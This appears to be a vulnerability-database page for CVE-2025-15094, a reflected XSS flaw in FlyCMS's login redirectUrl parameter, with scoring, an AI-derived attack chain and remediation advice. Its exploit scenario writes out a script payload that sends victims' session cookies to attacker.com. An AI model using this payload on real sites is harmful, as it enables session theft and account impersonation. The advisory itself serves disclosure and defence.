sunkaifei FlyCMS
CVE-2025-15094
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend phishing link with malicious redirectUrl parameter
-
DeliveryVictim clicks login link
-
ExploitRender login page with unescaped user input
-
ExecutionExecute injected JavaScript in victim's browser context
-
PersistSteal session cookies or credentials
-
ImpactAttacker impersonates victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires network access to a FlyCMS instance with the user login page exposed. The attack is limited by mandatory user interaction (UI:P) - a victim must click or visit a crafted URL containing the malicious redirectUrl parameter. No authentication is required to trigger the injection (PR:N), making it accessible to unauthenticated attackers. The vulnerability is not automatically triggered; it depends on the victim visiting a link prepared by the attacker, typically delivered via phishing, social engineering, or malicious advertisement. If the application implements strict Content Security Policy or if the login template uses a safe templating engine with auto-escaping, the impact may be mitigated even in vulnerable code. Browsers with XSS filtering enabled (deprecated but legacy) may block some payloads, though this should not be relied upon. |
| Impact | The real-world risk is LOW despite public PoC availability. CVSS 2.1 with network-exploitable attack surface (AV:N, AC:L, PR:N) is offset by mandatory user interaction (UI:P) and limited integrity-only impact (VI:L). EPSS percentile of 6% (0.02% exploitation probability) indicates this ranks in the bottom tier for predicted weaponization, suggesting the vulnerability requires social engineering or targeted phishing to succeed and provides minimal attacker value. The absence of confidentiality or availability impact further limits severity. The presence of public PoC lowers the barrier to opportunistic exploitation but does not change the fundamental requirement for user clicking a malicious link. However, if FlyCMS is deployed in enterprise or sensitive contexts where XSS can be chained to steal session tokens or admin credentials, local risk assessment may warrant prioritization. The mismatch between 'publicly available exploit' status and low EPSS suggests the PoC is proof-of-concept rather than actively weaponized in campaigns. |
| Exploit ScenarioDerived | An attacker crafts a phishing email containing a link to the FlyCMS login page with a malicious redirectUrl parameter, e.g., https://target.flycms/login?redirectUrl="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>. When a victim clicks the link and the login page renders, the injected JavaScript executes in their browser, stealing session cookies and sending them to the attacker's server. The attacker then uses the stolen session to impersonate the victim within FlyCMS. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in sunkaifei FlyCMS userLogin function allows unauthenticated remote attackers to inject malicious scripts via the redirectUrl parameter, requiring user interaction to trigger. The vulnerability is publicly available for exploitation with a low CVSS score of 2.1 reflecting limited integrity impact, but active public PoC code exists and the affected project has not responded to disclosure.
RemediationAI
No vendor-released patch identified at time of analysis. The FlyCMS project was informed early via GitHub issue #16 (https://github.com/sunkaifei/FlyCms/issues/16) but has not responded or released a fix. Immediate mitigation requires implementing output encoding for the redirectUrl parameter in UserController.java userLogin method using a Java encoding library such as OWASP Encoder or Apache Commons Text to escape HTML special characters before rendering in HTTP responses or HTML attributes. Deploy a Web Application Firewall (WAF) rule to block requests containing script tags or event handler patterns in the redirectUrl parameter. As a compensating control, restrict the redirectUrl parameter to a whitelist of known safe domains to prevent open redirect combined with XSS. Enforce Content Security Policy (CSP) headers with script-src 'self' to limit inline script execution, which will degrade but not eliminate reflected XSS impact. Monitor for exploitation via access logs containing suspicious characters (%, script, onerror, onload) in the redirectUrl parameter. Consider forking the project or migrating to an actively maintained CMS if security updates are critical for your deployment.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FlyCMS is a Java-based content management system where the UserController class handles user authentication. The vulnerability stems from improper input validation in the userLogin method of src/main/java/com/flycms/web/front/UserController.java when processing the redirectUrl parameter. The redirectUrl value is likely passed directly to a response header or HTML context without sanitization, allowing attackers to break out of the intended context and inject arbitrary JavaScript. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause as failure to encode user-supplied data before rendering in a web response. The CPE cpe:2.3:a:sunkaifei:flycms:*:*:*:*:*:*:*:* indicates all versions of FlyCMS are affected since the project does not maintain semantic versioning, and the git commit hash abbaa5a8daefb146ad4d61027035026b052cb414 represents the latest known vulnerable state.
Know when Flycms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A weakness has been identified in sunkaifei FlyCMS up to abbaa5a8daefb146ad4d61027035026b052cb414. The impacted element is the function userLogin of the file src/main/java/com/flycms/web/front/UserController.java of the component User Login. Executing a manipulation of the argument redirectUrl can lead to cross site scripting. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component system/site/webconfig_updagt
FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /system/site/config_footer_u
FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /system/site/userconfig_upda
Cross Site Request Forgery vulnerability in FlyCms v.1.0 allows a remote attacker to execute arbitrary code via the syst
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_templets_update. Rated hi
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerbility via /system/site/filterKeyword_save. Rated high se
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_conf_updagte. Rated high
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/links/add_link. Rated high severity (
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/update_group_save. Rated high s
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/add_group_save. Rated high seve
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_update. Rated high severit
FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_save. Rated high severity
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB